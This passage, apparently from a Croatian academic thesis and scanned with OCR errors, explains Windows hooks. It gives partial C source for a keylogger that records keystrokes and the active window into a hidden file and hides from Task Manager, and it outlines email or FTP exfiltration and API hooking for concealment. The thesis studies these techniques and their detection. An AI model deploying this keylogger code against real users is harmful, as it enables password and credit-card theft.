filtriraju¢a funkcija koja ¢e poslati odgovaraju¢u poruku i uvijek ¢e gornji uvjet biti istinit.
Kako bi sprijecili stvaranje dretve i pokretanje obrade za svaki prozor, a ne samo za glavni,
uvodimo kontrolne zastavice koje to sprjeCavaju. Funkcija nadjipProzor () vrlo je jednostavna

BOOL CALLBACK NadjiProzor (HWND hWnd, LPARAM lParam)
{
DWORD dTrenutniPID;

GetWindowThreadProcessId (hWnd, &dTrenutniPID) ;

if (dTrenutniPID == dTaskManPID)
{
hTaskManWnd = hWnd;
return false;

//malo neobi¢no, no false prekida enumeraciju, nasli smo nas
//Task Manager prozor



return true;

Ispis 6.14: Funkcija povratnog poziva koja pronalazi glavni Task Manager prozor

Funkcija usporeduje PID primljen od strane filtriraju¢e funkcije s PID-om prozora koji se
trenutno enumerira (kroz funkciju Enumwindows () ). Ako su ta dva identifikatora jednaka, onda
je pronaden odgovarajuéi prozor i u petlji na ispisu 6.13 se dalje stvara dretva koja vrsi
obradu ve¢ poznatom funkcijom TaskManagerobrada (). Ostatak programa identi¢an je Naive
programu.

Uvodenjem mehanizma Windows kuke program nije postao znacajnije "bolji", zapravo, niti
jedan kljucni problem programa Naive nije rijeSen i taj program i dalje ostaje prakticki
neupotrebljiv. No iskazani mehanizam vrlo je vazan i Cesto koristen, kako u zlo¢udnim
programima, tako i1 u antivirusnim aplikacijama. Windows kuku moze ugraditi obican
korisnik, ¢ak i kada se radi o globalnoj kuki i sasvim je jasno da su kuke napadacev najcesci
izbor za umetanje zlo¢udnog koda u bilo koji proces na sustavu. Razvojni inzenjeri Windows
operacijskog sustava vjerojatno su ostavili globalne kuke "dostupne" i obicnom korisniku
kako bi antivirusni softver, procesne zaStitne stijene, ali 1 brojni drugi softver mogao
normalno funkcionirati i s ograni¢enim ovlastima.

U svakom slucaju, program za zastitu morao bi na neki naCin imati nadzor nad kukama u
sustavu. Ne postoje funkcije koje bi omogucavale prebrojavanje svih kuka, niti su podatkovne
strukture u jezgri operacijskog sustava koje se odnose na kuke dokumentirane, no svakako bi
program za zastitu trebao nadzirati barem pozive funkcije setwindowsHookEx () kao osnovnim
(ali ne 1 jedinim) nac¢inom za stvaranje kuke.

lako je mehanizam ovdje pokazan na programu za kojeg je zakljuCeno da nije previse
"koristan", nimalo ne treba podcijeniti "opasnost" mehanizma po sigurnost operacijskog
sustava. Vrlo cesta funkcionalnost programa za prikrivanje prisutnosti napadaca je
prikupljanje korisnickih lozinki i ostalih privatnih podataka. Na korisnickoj razini to se
postize upravo mehanizmom kuka (i na jezgrenoj takoder, ali se ne radi o doslovno istim
kukama).

Windows operacijski sustav na raspolaganju ima dvije osnovne skupine kuka za rad s
tipkovnicom: wH kEyBOARD 1 wH KEYBOARD 11. Razlika izmedu te dvije skupine je Sto
posljednje navedena kuka radi na nesto niZoj razini nego prva (L oznacava engl. Low Level) i
moze presresti unos koji se vrSi primjerice u komandnoj liniji, dok prva kuka nema tu
mogucnost. Postavljanjem kuke wu xryBoarDp 11 moguce je presresti prakti¢ki sav unos koji
korisnik vr$i u operacijskom sustavu Windows putem tipkovnice. Iznimku predstavljaju
virtualni operacijski sustavi u virtualizacijskoj aplikaciji iz kojih se ovim putem nec¢e moci
presretati unos, no sav drugi unos moguce je presresti i prikupljati.

Uzimaju¢i u obzir prethodno navedene primjere i programe, napada¢ moze jednostavno
napraviti program koji ¢e postaviti wa xevBoarp 11 kuku i prikupljati sav korisnicki unos s
tipkovnice. Kod koji je ovdje prikazan djelomice je preuzet s CodeProject stranice [18] iako
je znatno nadopunjen i mnogo doradeniji. Sam unos predstavljen kao skup znakova unesenih
s tipkovnice, sam za sebe nema prevelikog smisla ve¢ ga je pozeljno staviti u odgovarajuci
kontekst. Primjerice, niz znakova "petar p1234" sam za sebe nema preveliku vaznost, no ako
napadac zna da je korisnik doti¢ni niz znakova upisao u web preglednik i barem okvirno zna o
kojoj se web stranici radilo, vrlo lako moZze zakljuciti da se radi o korisnickom imenu i lozinki
korisnika za doti¢nu web stranicu.



Mehanizam funkcioniranja ove kuke vrlo je slican mehanizmu funkcioniranja kuke wa car,
iako za ovu vrstu kuke nije nuzno da se izvodi u kontekstu aplikacije koja izaziva dogadaj, tj.
ova vrsta kuke 1 pripadna filtriraju¢a funkcija ne moraju biti smjeStene u zasebnoj biblioteci
dinamicke veze. U demonstracijskom programu je ipak koriSten pristup gdje su kuka i
filtriraju¢a funkcija smjeStene u DLL datoteci jer je uz kuku we kEYBOARD 1L potrebno
postaviti 1 kuku wa_ceT koja ¢e posluziti za odredivanje trenutno aktivnog prozora, odnosno
konteksta unesene skupine znakova. Budu¢i da se wa_ceT kuka mora nalaziti u DLL datoteci, i
druga kuka je radi jednostavnosti smjesStena u istu datoteku.

wa_KeYBOARD LI kuka ¢eka na unos s tipkovnice i aktivira se prije nego se odgovarajuéi znak
(ili kombinacija znakova, npr. shift + slovo, ctrl + alt + del 1 sl.) postavi u red ¢ekanja
trenutno aktivne aplikacije (to¢nije njene dretve koja izvrSava petlju poruke). Aktivira se
filtriraju¢a procedura koja moZe promijeniti unos ili ga zabiljeziti, a zatim se sam unos Salje u
red Cekanja aktivne aplikacije odakle ga aplikacija moZze procitati i iskoristiti (primjerice
prikazati na zaslonu).

Vrlo pojednostavljeni tok unosa s tipkovnice u operacijskom sustavu Windows prikazan je na
slici 6.7.

Ugradnja WH_CBT i WH_KEYBOARD_LL kuke
(DLL se ugraduje u svaki proces u sustavu)

Worker proces

Worker kuka

Korisni¢ka aplikacija
Novi smjer protoka
podataka

Korisnicki unos preko tipkovnice

Korisnicka aplikacija
Stari smjer protoka \

podataka pri pritisnutoj \
tipci tipkovnice
\

WEEiE 2 el
i ostale biblioteke
Win32 podsustava

| | Korisnic¢ki nacin rada

Jezgreni nacin rada

\

kbdclass.sys
i8042prt.sys

PS/2 sucelje

Kontroler tipkovnice

Slika 6.7: Tok unosa s tipkovnice i umetanje wa_xeyBoaRD 1L kuke

Sklopovski dio unosa znaka s tipkovnice i njegovog prikaza u sustavu sastoji se od kontrolera
18042 s kojim komunicira jezgra operacijskog sustava putem dva upravljacka programa
prikazana na slici. Veza izmedu jezgre i1 korisni€kih aplikacija ostvarena je (uglavnom) preko



funkcija iz user32.d11 biblioteke koja je automatski uklju¢ena u sve aplikacije Win32
podsustava (to su sve aplikacije koje imaju prozor, dijalog ili neki sli¢ni objekt koji se moze
graficki prikazati). Kada na sustavu nije postavljena ws_keveoarp 1L kuka, unos s tipkovnice
direktno se Salje u red ¢ekanja aplikacije kojoj je unos namijenjen. Uz postavljenu kuku, unos
ide zaobilaznim putem koji obuhvaca filtrirajuc¢u proceduru doti¢ne kuke iz koje je moguce
pohraniti unos, odnosno poslati nekoj aplikaciji signal da je primljen novi znak.

Program koji postavlja kuku sastojat ¢e se, kao i1 u prethodnom slucaju, pri razvijanju Naive —
improved programa, od dva dijela — od tzv. radne (Worker) aplikacije i od same DLL datoteke
u kojoj se nalaze filtrirajuée procedure i same kuke.

Korisnik pokretanjem radne aplikacije postavlja dvije prethodno navedene kuke: wx cBT 1
wH_KEYBOARD LL. Prva kuka sluzi za registriranje trenutno aktivne aplikacije (uz skrivanje
procesa u Task manager aplikaciji koje je doslovno preuzeto iz prethodnog demonstracijskog
programa). Svaki puta kada korisnik ucini neku aplikaciju aktivhom (postavi ju u prvi plan
klikom miSa ili alt + tab odabirom), aktivirat ¢e se odgovarajuca filtrirajuca procedura koja ¢e
radnoj aplikaciji (naravno, filtriraju¢a procedura za wa_cst kuku nalazi se u DLL datoteci i
izvodi se u kontekstu aplikacije koja je postala aktivna) dojaviti promjenu trenutno aktivnog
prozora:

LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam)
{

//inacCe, ako se promijenio aktivni prozor
else if (nCode == HCBT_SETFOCUS)

//po8alji poruku Worker aplikaciji, prvi parametar je rucica na prozor koji
//je postao aktivan

//drugi parametar je rucdica na prozor koji je bio aktivan prije aktiviranja
//kuke

PostMessage (hDialog, UWM FOCUSCHANGED, wParam, lParam);

//uvijek je pristojno pozvati sljedeéu kuku u nizu, iako to nije nuZno
return CallNextHookEx (hHook, nCode, wParam, lParam);

Ispis 6.15: Prepoznavanje promjene aktivnog prozora i obavjestavanje Worker aplikacije

UWM_FOCUSCHANGED je registrirana poruka koju prepoznaje Worker aplikacija i koja oznacava da
je neki novi prozor postao aktivan. Ostatak koda je dobro komentiran pa ga nije potrebno
obrazlagati. Ostatak wx ceT procedure Hookproc() identiCan je kao i u prethodnom
demonstracijskom programu, a odnosi se na prepoznavanje aktiviranja Task Manager
aplikacije. Na ovaj nain ovaj se program moze skrivati u listi procesa (iako, kao $to je
pokazano, ne ¢ini to na najbolji nacin), a istovremeno obavlja zlo¢udnu aktivnost prikupljanja
korisnickog unosa s tipkovnice.

Kéd postavljanja wa_xeveoarp 11 kuke prikazan je na ispisu 6.16.

__declspec(dllexport) BOOL PostaviKeyLogHook (HWND hWnd)
{
if (hKeyHook != NULL) return false; //hook veé postoji

//tip kuke je WH KEYBOARD LL, kuka je globalna, a pri njenom aktiviranju
//poziva se KeyLogProc procedura



hKeyHook

= SetWindowsHookEx (WH KEYBOARD LL, KeyLogProc, hDLLInstance, 0);

//ako se nije dogodila nikakva pogreska pri postavljanju kuke

//postavi hDialog na hWnd, 3to predstavlja Worker proces
if (hKeyHook != NULL)

{

if (hDialog == NULL) hDialog = hWnd;
return true;

return false;

Ispis 6.16: Postavijanje wa_xrvyBoaARD LL kuke

Odgovarajuca filtrirajuca procedura prikazana je na ispisu 6.17.

LRESULT CALLBACK KeyLogProc (int nCode, WPARAM wParam, LPARAM lParam)

{

//WH_KEYBOARD LL kuka ima posebnu strukturu podataka koja se prenosi

//pri aktiviranju same kuke i ima sve potrebne podatke
KBDLLHOOKSTRUCT *keyHookStruct;
WORD transChar;

char c;

//ako nesdto nije za nas, pozovi sljedecu kuku u nizu
if (nCode < 0)

return CallNextHookEx (hKeyHook, nCode, wParam, lParam);

//ako se dogodila neka promjena, pritisak tipke ili nesto slicéno

//onda pokreni obradu
if (nCode == HC_ ACTION)

{

//kao drugi parametar filtrirajuce procedure prenosi se odgovarajuca
//struktura KBDLLHOOKSTRUCT.

keyHookStruct = (KBDLLHOOKSTRUCT *) lParam;

//spremamo tzv. Virtual Key Code po kojem je moguce identificirati o kojoj
//se tipki radi

DWORD dwVkCode = keyHookStruct->vkCode;

//ako se radi o tipki shift (bilo lijevoj bilo desno shift tipki)
if ((dwVkCode == VK_LSHIFT) || (dwVkCode == VK_RSHIFT))
{

//1i ako je tipka pritisnuta

if ((wParam == WM_SYSKEYDOWN) || (wParam == WM _KEYDOWN) )
//posalji poruku Worker aplikaciji gdje se kao prvi
//argument Salje oznaka 's' = shift, a kao drugi parametar
//8alje se 'd' = down

PostMessage (hDialog, UWM_KEYPRESSED, (WPARAM) 's', 'd');

else
//inace je tipka otpustena, pa poSalji slic¢nu poruku Worker
//aplikaciiji
PostMessage (hDialog, UWM KEYPRESSED, (WPARAM) 's', 'u');
}
//ne zelimo dva puta pamtiti isti unos - u suStini ce se ova procedura

//pozvati za bilo koju promjenu na tastaturi, a to znaci i pritisak i
//otpustanje tipke.



//%Zelimo samo jednom zabiljeziti znak, pa zato u sludaju otpudtanja tipke
//zovemo sljeded¢u kuku u nizu i ne radimo nista
if ((wParam == WM_KEYUP) || (wParam == WM_SYSKEYUP))

return CallNextHookEx (hKeyHook, nCode, wParam, lParam);

//ako se radi o pritisku na tipku tab, enter ili backspace

if (dwVkCode == VK RETURN dwVkCode == VK TAB dwVkCode == VK BACK)
//podalji "signal" Worker aplikaciji
PostMessage (hDialog, UWM_KEYPRESSED, (WPARAM) 'm', dwVkCode);

else

//dohvati trenutno stanje s tipkovnice - nije sasvim pouzdano
GetKeyboardState (keyState) ;

//ako je pritisnut CAPS LOCK, onda ga "prisilno" postavljamo u
//nasem byte polju koje sadrZava sve znakove s tipkovnice

if (GetKeyState (VK_CAPITAL) /*& 0x8000*/) keyState[20] = 1;

//prebaci Virtual KeyCode i Scan Code u obican ASCII znak, uzev3i
//u obzir prethodno namje3tena velika slova

ToAscii (dwVkCode, keyHookStruct->scanCode, keyState, &transChar,\O0

0);
c = (char) transChar;
//posalji Worker aplikaciji dotic¢ni znak
PostMessage (hDialog, UWM_KEYPRESSED, (WPARAM) 'r', (LPARAM) c);

return CallNextHookEx (hKeyHook, nCode, wParam, lParam);

Ispis 6.17: Filtrirajuc¢a procedura wa_xeyBoarp 1L kuke

Sama funkcija je vrlo dobro komentirana, no potrebno je naglasiti kljucne stvari. Kao
parametar wparam filtrirajuée procedure predaje se trenutno "stanje" tipke, tj. da li je tipka
pritisnuta ili otpuStena. Procedura ¢e se pozvati svaki put kada se dogodi promjena stanja
tipke, dakle i kad je tipka pritisnuta i kad je ista tipka otpustena. Budu¢i da ne Zelimo dva puta
spremati isti znak, to u funkciji moramo na gore prikazan nacin sprijeciti. Kao 1param
parametar predaje se pokaziva¢ na keprLHOOKSTRUCT strukturu koja prema MSDN ima sljedeci
oblik:

typedef struct {
DWORD vkCode;
DWORD scanCode;
DWORD flags;
DWORD time;
ULONG PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

Ispis 6.18: xBDLLHOOKSTRUCT Struktura

Od svih ¢lanova strukture za ovo razmatranje vazni su samo vkCode 1 scancode koji sadrzavaju
virtualnu (softversku) i hardversku oznaku koja opisuje pritisnutu tipku. Ostali ¢lanovi



sadrzavaju zastavice, vremenske oznake i neke dodatne informacije o pritisnutoj tipci i nisu
znacajni pri presretanju i pohranjivanju upisa.

Najveci problem kod izgradnje ovakvog programa predstavljaju specijalni znakovi koji se
moraju na odgovaraju¢i nacin prepoznati i zapisati. Prikazani nacin gdje se posebno izdvaja
tipka shift, posebno tipke tab, enter 1 backspace 1 posebno svi ostali znakovi mozda nije
najbolji, no nacinjen je s namjerom da se korisnicki unos na $to vjerniji nacin zabiljezi i
prikaze. U svim slucajevima se Worker aplikaciji Salje odgovarajuca poruka koja sadrzava
primljeni znak ili oznaku koja opisuje o kojem se znaku radi.

Posebno treba voditi racuna o velikim slovima uz pritisnutu tipku caps lock. Pretpostavlja se
da je ta tipka odredeno vrijeme pritisnuta (u wM_syskeypown stanju) i da se nece dogadati brze
promjene stanja te tipke, ve¢ da ¢e duze vrijeme biti aktivna odnosno neaktivna. Uz takve
pretpostavke, pri pritisku bilo koje tipke s tipkovnice (bez specijalnih znakova koje
obradujemo posebno) dohvaca se trenutno stanje tipkovnice. Dohvacanje trenutnog stanja
funkcijom Getkeyboardstate () u opéenitom slucaju nije pouzdano jer u trenutku kada se nasa
filtrirajua procedura izvodi korisnik je ve¢ mogao otpustiti tipku koju je prije imao
pritisnutu. Budu¢i da latencija ima veliku ulogu, ova se funkcija treba koristiti samo u slucaju
kada se s velikom vjerojatnoS¢u moze pretpostaviti da se stanje tipke/tipkovnice nece u vrlo
malom vremenskom intervalu promijeniti, a za tipku caps lock to je razumna pretpostavka.
Ukoliko je pritisnuta tipka caps lock, tada u naSem polju svih virtualnih kddova (njih 256)
rucno postavljamo vrijednost te tipke na 1. Daljnjim konverzijama pretvaramo virtualni kod
(u varijabli dwvkcode) uz doti€no polje keystate koje daje informacije o pritisnutim
"specijalnim" tipkama u obi¢ni ASCII znak i Saljemo doti¢ni znak (kao parametar 1param)
Worker aplikaciji.

Worker aplikacija u svom direktoriju stvara (ili otvara ve¢ postojecu) datoteku /og.txt u koju
¢e zapisivati sve unesene znakove, uz dodatne informacije o vremenskom trenutku u kojem je
zapis napravljen, aktivnoj aplikaciji 1 klasi njenog glavnog prozora, identifikatoru i nazivu
procesa i trenutnom korisniku. Nakon postavljanja kuka Worker program ceka primitak
odgovarajuce poruke u petlji poruke.

else if (msg.message == UWM KEYPRESSED) ObradiTipku (msg.wParam, msg.lParam);
else if (msg.message == UWM_FOCUSCHANGED) hTrenutniAktivni = (HWND) msg.wParam;

Ispis 6.19: Worker aplikacija ceka na poruke za obradu znakova

U slucaju poruke vwm rocuscuancep aktivirala se filtrirajuca procedura we cer kuke koja je
poslala poruku o promjeni trenutno aktivnog prozora. U Worker aplikaciji mora se azurirati
rucica na trenutno aktivni prozor s wparam parametrom primljene poruke — u tom trenutku
varijabla hTrenutniaktivni doista pokazuje na trenutno aktivni prozor.

U slucaju poruke vwm kEYPRESSED presretnut je novi znak koji se treba obraditi pa se poziva
odgovarajuca funkcija obradiTipku ().

Naravno, uz ove poruke, Worker aplikacija prima ve¢ poznatu poruku vwm TaskMANCREAT koja
pokrece skrivanje procesa.

Funkcija obradiTipku () osnovna je funkcija Worker aplikacije koja vr$i prepoznavanje tipki 1
spremanje unosa u datoteku log.txt. Sama funkcija, kao i1 sve ostale funkcije koje se iz nje



pozivaju, jednostavne su, no i relativno duge pa se zbog nedostatka prostora njihov kod nece
navoditi, no zainteresirani Citatelj ga uvijek moze pronaci u privitku ovog rada.

Za strukturu podataka u kojoj se ¢uvaju primljeni znakovi odabrana je jednostruko povezana
lista. U toj se listi cuva 128 znakova i kada se lista napuni, vrsi se njeno praznjenje u datoteku
log.txt, dakle lista se koristi kao neka vrsta meduspremnika. Praznjenje je moguce i prije
vremena ako se promijeni trenutno aktivni prozor jer je tada potrebno zabiljeziti sve §to je
bilo uneseno u prethodnom prozoru. Nakon prepoznavanja tipki (dokumentirano u samom
kodu) 1 popunjavanja liste, lista se prazni u datoteku. Uz svaki zapis navedeno je i pripadno
zaglavlje koje se sastoji od ve¢ navedenih elemenata.

Sama aplikacija koja nosi naziv NaiveLogger dodaje se u sistemsku traku 1 moguce ju je u
svakom trenutku ugasiti odabirom odgovarajuc¢e opcije u kontekstnom meniju. Prikupljeni
zapis postaje vidljiv tek nakon gasenja aplikacije, a sama datoteka ima svojstvo da je skrivena
(engl. hidden file) pa ¢e mozda biti potrebno ukljuciti prikaz skrivenih datoteka i direktorija.

Primjer rada aplikacije dan je na slici 6.8.

R
File Edit Format View Help
1 ———- 13. svi. 2008, - 22:57:45 ——— B
Favarites G"l
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——KORISNIK: Usgr-—
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dir
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P . omoéu Googleove
larisnik Lozinka 3 il r Za'pamtl me na ovarm
racunalu.
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Slika 6.8: Prikaz djelovanja NaiveLogger aplikacije

Na slici je jasno vidljivo da je sav uneseni tekst uspjesno prikupljen i pohranjen u datoteku
log.txt, zajedno s informacijama o aplikacijama u kojima je bio upisan. Jasno je vidljivo da se
lozinka za Gmail korisni¢ki ra€un spremila u normalnom, vidljivom obliku. Zahvaljujuci
niskoj razini na kojoj wa kevsoarp 11 kuka djeluje, uspjesno je zapisan i unos u komandnu
liniju (iako se ponekad sam prozor nece ispravno detektirati, $to je i logi¢no, imajuéi na umu
prethodno navedene napomene o specificnostima prozora komandne linije).



Ovakva aplikacija predstavlja vrlo veliku opasnost po sigurnost racunalnog sustava. Sve
lozinke koje je korisnik unio, kao i1 brojevi kreditnih kartica i drugi privatni podaci, ovakvim
prikupljanjem i pohranjivanjem postaju posve transparentni i na raspolaganju napadacu.
NajceS¢e se u aplikaciju ugraduje i1 mali posluzitelj elektronicke poste ili FTP
posluzitelj/klijent koji, nakon Sto veli¢ina datoteke prijede neku zadanu granicu, Salje
cjelokupnu datoteku na predefiniranu adresu elektronicke poste ili FTP posluzitelja koje
kontrolira napada¢. Na ovaj nacin napada¢ uopée ne mora imati pristup sustavu, veé¢ mu
zarazeni sustav "sam" Salje prikupljene informacije.

Ovako izvedenu aplikaciju koja pamti korisni¢ki unos s tipkovnice nije tesko otkriti jer se
zasniva na mehanizmu Windows kuka koji je relativno jednostavno nadzirati. Sve dosad
navedene opaske o sigurnosti vrijede i ovdje, dakle aplikacija za detekciju mora imati
ispravnu listu procesa dobivenu iz pouzdanog izvora, mora nadgledati "sumnjive" sistemske
pozive, poput setwindowsHookEx ()1 dati korisniku povratnu informaciju o aplikaciji koja zeli
koristiti doti¢ne funkcije. Takoder, ako aplikacija i posjeduje maleni posluzitelj elektronicke
poste, on je na korisni¢koj razini, koja se trenutno razmatra, relativno lako uocljiv jer se lako
otkriva i nadgleda promet koji ¢e biti stvoren od strane te aplikacije. Neki autori zlo¢udnih
programa koriste tehnike skrivanja zlo¢udnog prometa unutar neke legitimne aplikacije, no
veéina danasnjih sigurnosnih zastitnih stijena vrlo je osjetljiva na ubacivanje DLL biblioteka
u dozvoljene aplikacije 1 opcenito izvodenje bilo kojeg kdda u kontekstu dozvoljene
aplikacije, pa je time autorima zlo¢udnih programa posao znatno otezan (za to postoje gotovi
programi i testovi [19]).

Vazno je napomenuti da svi dosad prikazani programi rade u korisni¢kom nacinu rada i ne
zahtijevaju administratorske privilegije. Sve naprednije tehnike kojima je donekle moguce
izbjedi i1 sigurnosne zastitne stijene i sav drugi zastitni softver djeluju mnogo nize u sustavu,
na razini jezgre, $to nece biti obradeno u ovom radu.

U ulozi napadaca uocljivo je da mehanizam Windows kuka moze biti vrlo koristan pri
otkrivanju stvaranja novog prozora i nove aplikacije. Ipak, taj nam mehanizam nije rijeSio
problem skrivanja procesa i direktorija/datoteka u sustavu. Pristup koriSten u programu Naive
nije se pokazao zadovoljavajucim pa je potrebno osmisliti neki drugi pristup.

U operacijskom sustavu Linux prvi alati za prikrivanje prisutnosti napadaca funkcionirali su
tako da su ispravne verzije programa za ispis procesa, direktorija i drugih vaznih informacija
mijenjali modificiranim verzijama koje nisu prikazivale autorove zlo¢udne programe. Na
operacuskom sustavu Linux takav je postupak znatno laksi nego u operacijskom sustavu
Windows jer je veliina programa manja, a i sama zamjena je "bezbolna", tj. svodi se na
kopiranje novih verzija na mjestu starith. U Windows operacijskom sustavu je postupak nesto
sloZeniji (u oba operacijska sustava potrebno je imati administratorske privilegije, $to je jo$
jedan "nedostatak" ovog pristupa) izvréne verzije programa su znatno vece, a programe je
primjerice izmjenu Windows Explorera jos sloZenije izvesti neopazeno) i to je osnovni razlog
zaSto niti jedan alat za prikrivanje prisutnosti napadaca ne mijenja izvrSne verzije klju¢nih
Windows aplikacija.

Sasvim je jasno da sve Windows aplikacije, poput Task Manager-a i Windows Explorera od
nekuda crpe svoje informacije, tj. koriste odgovarajuée fumnkcije u svrhu prikupljanja
primjerice liste procesa ili liste datoteka i direktorija na disku. Ako se te funkcije na odredeni
nacin zamijene vlastitim, "zloCudnim" verzijama, postiZe se potpuna kontrola nad aplikacijom
jer se na taj nacin iz liste procesa mogu "izbaciti" Zeljeni procesi, odnosno moze se sprijeciti



prikazivanje direktorija i datoteka za koje napadac ne zeli da ih korisnik vidi. Prvi korak
napadaca u tom pristupu je odredivanje funkcija koje aplikacije koriste kako bi prikupile
odgovarajuce informacije.

Arhitektura Windows operacijskog sustava organizirana je tako da sve korisnicke aplikacije
sa sustavom, odnosno jezgrom, komuniciraju pozivaju¢i API funkcije koje pruzaju DLL
biblioteke s kojima se aplikacije povezuju ili ve¢ za vrijeme prevodenja — tzv. implicitno
povezivanje ili za vrijeme svog rada — eksplicitno povezivanje. Najvaznije DLL biblioteke u
Windows operacijskom sustavu sa stajaliSta "obicnih" korisnickih aplikacija su kernel32.dll,
User32.dll 1 GDI.dIl. kernel32.dll biblioteka sadrzava sve API funkcije zaduzene za
manipulaciju procesima, dretvama i memorijom, User32.dll biblioteka sadrzava funkcije za
rad s prozorima, slanje poruka izmedu prozora i ostale funkcije vezane za korisni¢ko sucelje,
dok GDLdIl biblioteka sadrzava funkcije vezane za iscrtavanje teksta i raznih grafi¢kih
elemenata. To niposto nisu jedine DLL biblioteke u operacijskom sustavu, postoji jo§ Citav
niz (ugradenih) DLL biblioteka koje sadrzavaju funkcije za interakciju s mreznim
podsustavom, za interakciju i1 upravljanje vanjskih uredaja, funkcije za manipulaciju
sigurnosnim elementima sustava, za uredivanje sustavskog registra i mnoge druge zadace u
sustavu. Svaka aplikacija takoder moze posjedovati svoje privatne DLL biblioteke koje je
stvorio sam autor aplikacije.

Interakcija pojedinih elemenata sustava prikazana je na slici 6.9 temeljenoj na [20].

Pomocni sustavski procesi

scm.exe
LSASS.exe
winlogon.exe
smss.exe

Windows
POSIX
0S/2

[ Korisnicke aplikacije ] Podsustavi okruzenja

Y

C DLL biblioteke podsustava D)

Korisnicki nacin rada

Jezgreni nacin rada

Slika 6.9: Arhitektura operacijskog sustava Windows



Osim korisnickih aplikacija, na slici je vidljivo da u korisnickom nacinu rada djeluju i
pomocni sustavski procesi 1 Windows servisi ovisno o razli¢itim podsustavima. U pomocne
sustavske procese ubrajamo primjerice Service Control Manager (scm.exe) koji je zaduzen za
upravljanje Windows servisima, Local Security Authority Subsystem Service (LSASS.exe) koji
je zaduzen za provodenje sigurnosne politike na sustavu, pridruzuje korisnicima dozvole,
provjerava dozvole i rukuje lozinkama, WinLogon (winlogon.exe) koji je zaduZen za prijavu
korisnika na sustav, odjavljivanje korisnika, reagiranje na posebne sekvence (ctrl + alt +
delete) 1 Session Manager koji je zaduZen za inicijalizaciju kompletnog sustava i pokretanje
odgovaraju¢eg podsustava. Windows servisi su ekvivalent daemon-ima u operacijskom
sustavu Linux, a predstavljaju proces-posluzitelj koji obavlja neki posao. Kljucni servis u
operacijskom sustavu Windows je svchost.exe koji predstavlja samo genericko ime za
mnogobrojne servise poput kriptografskih servisa, mreZnih servisa i brojnih drugih. Osim
(uobicajenog) Windows podsustava, Windows operacijski sustav nudi podrsku i za POSIX
kompatibilni podsustav, tako da se (teoretski) aplikacije pisane za POSIX — kompatibilan
sustav kakav je primjerice Linux operacijski sustav, mogu prevesti i izvoditi na Windows
operacijskom sustavu. Do verzije Windows 2000. postojao je 1 OS/2 podsustav koji je izbacen
i za koji ne postoji podrska. U Windows XP operacijskom sustavu ne postoji vise ni POSIX
podsustav, iako se on moZe vrlo jednostavno "ugraditi" preuzimanjem Windows Services for
UNIX paketa. Arhitektura Windows operacijskog sustava vrlo je sloZena i njen opis je izvan
dosega ovog rada, no zainteresirani mogu saznati sve o Windows operacijskom sustavu iz

[20].

API funkcije sadrzane su u DLL bibliotekama podsustava na slici 6.9. 1z slike je vidljivo da se
sva komunikacija izmedu korisnicke razine i razine jezgre obavlja preko biblioteke ntdll.dll.
Ta biblioteka je kljucna za funkcioniranje operacijskog sustava, a sadrzava uglavnom funkcije
koje su vrlo kratke i koje sluze za prijelaz iz korisnickog nacina rada u jezgrin nacin rada,
prenoseci parametre korisnickih funkcija jezgri na odgovarajuéi nacin. Ntdll.dll biblioteka
sadrzava i neke interne funkcije koje koriste ostale DLL biblioteke. Velika vecina funkcija iz
ntdll.dll biblioteke nije dokumentirana u sluzbenoj dokumentaciji i Microsoft ne preporuca
koristenje funkcija iz te biblioteke (udaljavaju¢i time korisnike od zanimljivog i korisnog
dijela operacijskog sustava koji bi se mogao iskoristiti na brojne nacine) jer se izmedu
razli¢itih verzija Windows operacijskog sustava te funkcije mijenjaju, dok se API funkcije u
"gornjim slojevima" ne mijenjaju i time sucelje prema internim strukturama operacijskog
sustava ostaje netaknuto.

Imajuéi na umu sliku 6.9, napadac¢ s velikom vjerojatnoS¢u moze pretpostaviti da aplikacije
poput Windows Explorer-a 1 Task Manager-a koriste API funkcije kako bi dobile
odgovaraju¢e informacije. Brojnim programima mogucée je otkriti s kojim su DLL
bibliotekama odredene aplikacije povezane, tj. koje konkretne funkcije te aplikacije koriste
odnosno uvoze (engl. import) iz tih biblioteka. Primjer takvog programa je besplatan program
Dependency Walker [6a]. KoriStenjem programa Dependency Walker napada¢ moze vrlo
jednostavno pronaci "interesantne" funkcije:
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Slika 6.10: Dependency Walker aplikacija i kljucne funkcije Windows Explorera

Iz slike 6.10 vidljivo je da jednostavnom pretragom funkcija napada¢ moze pronaéi one koje,
primjerice, Windows Explorer koristi za dohvat 1 pregled datoteka i direktorija: radi se o
funkcijama rindrirstrilew() 1 FindNextrilew() koje explorer.exe uvozi iz kernel32.dll
biblioteke.

U slucaju Windows Explorer aplikacije bilo je jednostavno otkriti funkcije koje su zaduzene
za dohvat datoteka i direktorija jer su u samim imenom otkrivale svoju namjenu, no ponekad
nije jednostavno otkriti koja je funkcija zaduZzena za odgovarajuci posao.

Najbolji primjer za to je upravo aplikacija Task Manger 1 pripadna lista procesa.

Koriste¢i se Dependency Walker-om, nemoguce je otkriti koja je funkcija zaduzena za
prebrajanje 1 dohvat liste trenutno aktivnih procesa. Ako bi se napada¢ koristio istom
"tehnikom" kao 1 za slucaj dohvata datoteka i direktorija, trazio bi funkcije koje u svojem
imenu sadrzavaju rije¢ process. Task Manager koristi mnogo takvih funkcija, no sve su
dokumentirane 1 pregledom dokumentacije moze se ustanoviti da niti jedna od tih funkcija
nije zaduZena za dohvat liste aktivnih procesa. Osnovne funkcije za prebrojavanje i dohvat
procesa Su Process32Next () 1 Process32First() Koje izvozi (engl. exports) kernel32.dll
biblioteka, no te se funkcije u Task Manager aplikaciji uopce ne koriste.

Jedna od moguénosti je da je funkcija nedokumentirana i da ju izvozi ntdll.dll biblioteka.
Pregledom dokumentacije ipak se mogu nac¢i neke rijetke dokumentirane (zapravo
poludokumentirane) funkcije iz ntdll.dll datoteke, a Task Manager aplikacija koristi upravo
jednu od njih — NtouerySystemInformation (). MSDN dokumentacija za doti¢nu funkciju daje
sljedec¢u deklaraciju:



NTSTATUS NtQuerySystemInformation (
SYSTEM INFORMATION_ CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength

]SpiS 6.20: NtQuerySystemInformationfunkCija

Prvi parametar funkcije je struktura koja specificira koja vrsta informacije se zeli dohvatiti,
drugi parametar je pokaziva¢ koji pokazuje na dohvadenu informaciju, tre¢i parametar je
duljina spremnika u koji se sprema informacija, a zadnji parametar predstavlja stvarnu duljinu
